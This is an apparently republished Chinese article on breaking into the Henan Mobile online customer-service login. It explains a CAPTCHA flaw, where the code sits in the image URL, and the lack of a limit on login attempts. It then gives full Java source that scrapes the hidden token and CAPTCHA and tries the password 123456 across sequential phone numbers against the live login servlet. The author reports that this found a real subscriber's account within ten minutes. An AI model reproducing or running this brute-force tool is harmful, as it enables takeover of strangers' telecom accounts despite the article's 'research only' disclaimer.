河南移动网络客服系统验证码的缺陷分析和利用!
河南移动网络客服系统验证码的缺陷分析和利用!
发布时间:2016-12-26 来源:查字典编辑
摘要:先声明哦本文没有技术含量---只是为了证明java也可以作破解工具中国移动的在线客服系统大家应该非常熟悉,因为我是移动忠实的河南用户,自然就...

先声明哦本文没有技术含量---只是为了证明java也可以作破解工具

中国移动的在线客服系统大家应该非常熟悉,因为我是移动忠实的河南用户,自然就从河南移动说起.在移动大厅办理过业务的用户都很清楚,用户密码只能设置成6位数0~9.而网上服务系统和移动的核心数据库是同步的,密码也只能局限为6位数字.如此简单的密码组合非常适合暴力破解.

我们来分析一下暴力破解的可行性.首先,系统对当天登录的次数要没有限制,我随便输入一个手机号测试系统容错次数.我试了十次,依然可以进入登录界面(yes~有戏).接下来,分析系统登录需要提交的关键字段.来看看登录页面http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp

__________________________________________

.....................

<formmethod="post"name="thisform"

//post方式提交数据

...........

action="/servlet/com.huawei.icd30.wskf.login.LoginCheck">-->

//处理登录事件的servlet看来是它接收的参数.

<inputtype="hidden"name="forwardFlag"value="0">

//关键字段forwardFlag不知道什么用处,但多次刷新页面无改变

<inputtype="hidden"name="transaction"value="3">

//关键字段transaction同上

<inputtype="hidden"name="ssRandomPass"value="dNZjN/vfR4HwMACDVqhncQ==">

//关键字段ssRandomPass每次刷新得到新的随机值,在页面无显示

//可能是身份识别的隐含信息

......................

//以下是用户提交的表单内容

<td><inputtype="text"name="userName"size="14"

//呵呵手机号

<td><inputtype="password"name="passWord"

//手机密码

<td><inputname="randomPassword"type="text"

//图片验证码

.......................................

___________________________________

综上得post内容为:forwardFlag=0&transaction=3&ssRandomPassdNZjN/vfR4HwMACDVqhncQ==

&userName=135********&passWord=******&randomPassword=****

passWord是我们要猜解的内容,如何锁定randomPassword(验证码)是关键.具体就是如何对图片验证码做解析.说到这里就不得不提一下,在没有验证码的时代,许多暴力破解软件非常流行,对于入侵大多数邮件服务器和论坛是非常行之有效的方法.也捧红了一批经典破解软件,如流光,溯雪.(呵呵,都是值得珍藏的文物)

我们来看看这里的验证码是如何生成的右键单击验证码图片.哈哈,我们看到了什么?http://khfw.ha.chinamobile.com/s...let?randomPass=9814<--这是不正是我们的验证码值吗?

我们访问com.huawei.icd30.wskf.console.ImageServlet应用改变randomPass的值为1111呵呵,不出所料生成了数值为1111的图片.由此可见,登录验证程序和验证码的生成是两个应用.由返回的登录页面传递参数请求com.huawei.icd30.wskf.console.ImageServlet生成验证码.

到这里我们的分析工作就算完成了.如何用程序实现暴力破解没有技术难度.我写了一个java版的applicationwin2000下编译测试成功,效仿一些QQ破解模式,密码为123456,不断变换猜解手机号,10分钟不到就找到了一个密码为123456的用户.

******本代码只做研究,对于该程序可能造成的后果本人概不负责********

源代码如下:

--------------

importjava.net.*;

importjava.io.*;

publicclassResult

{

publicstaticStringssRandomPass,randomPassword;

publicstaticintpassWord=123456,num=00000;

//设置六位手机密码和手机后五位号码

publicstaticvoidmain(Stringargs[]){

while(true)

{

check();

//该函数捕获登录页面关键字段

try{

URLurl=newURL("http://khfw.ha.chinamobile.com/servlet/com.huawei.icd30.wskf.login.LoginCheck");;

URLConnectionconnection=url.openConnection();

connection.setDoOutput(true);

OutputStreamWriterout=newOutputStreamWriter(connection.getOutputStream(),"8859_1");

out.write("forwardFlag=0&transaction=3&ssRandomPass="+ssRandomPass+"&userName=

135286"+num+"&"+"passWord="+passWord+"&randomPassword="+randomPassword);//这里组织提交信息

out.flush();

out.close();

//获取返回数据

BufferedReaderin=newBufferedReader(newInputStreamReader(connection.getInputStream()));

Stringline=null;

StringBuffercontent=newStringBuffer();

while((line=in.readLine())!=null)

{

//line为返回值,这就可以判断是否成功、

content.append(line);

}

in.close();

in=null;

url=null;

Stringmsg=content.toString();

System.err.println("Backcode:"+msg.length()+"checkpasswd:"+passWord);

System.err.println("checknum:135256"+num);

if(msg.length()==412|num==99999)

{

System.err.println("Getonephonenumber");

System.err.println(msg);

break;

}

//passWord++;

num++;

}catch(MalformedURLExceptione){

//TODOAuto-generatedcatchblock

e.printStackTrace();

}catch(UnsupportedEncodingExceptione){

//TODOAuto-generatedcatchblock

e.printStackTrace();

}catch(IOExceptione){

//TODOAuto-generatedcatchblock

e.printStackTrace();

}

}

}

publicstaticvoidcheck()

{

StringBufferssR=newStringBuffer();

StringBufferrand=newStringBuffer();

try{

URLurl=newURL("http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp");

URLConnectionconnection=url.openConnection();

connection.setDoOutput(true);

OutputStreamWriterout=newOutputStreamWriter(connection.getOutputStream(),"8859_1");

out.write("?");

out.flush();

out.close();

//获取返回数据

BufferedReaderin=newBufferedReader(newInputStreamReader(connection.getInputStream()));

Stringline=null;

StringBuffercontent=newStringBuffer();

while((line=in.readLine())!=null)

{

//line为返回值,这就可以判断是否成功、

content.append(line);

}

in.close();

in=null;

url=null;

Stringmsg=content.toString();

for(inti=0;i<=23;i++)

ssR.append(msg.charAt(1534+i));

ssRandomPass=ssR.toString();

System.err.println(ssR.toString());

for(inti=0;i<=3;i++)

rand.append(msg.charAt(2492+i));

randomPassword=rand.toString();

System.err.println(rand.toString());

//System.err.println(msg);

}catch(MalformedURLExceptione){

//TODOAuto-generatedcatchblock

e.printStackTrace();

}catch(UnsupportedEncodingExceptione){

//TODOAuto-generatedcatchblock

e.printStackTrace();

}catch(IOExceptione){

//TODOAuto-generatedcatchblock

e.printStackTrace();

}

}

}

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类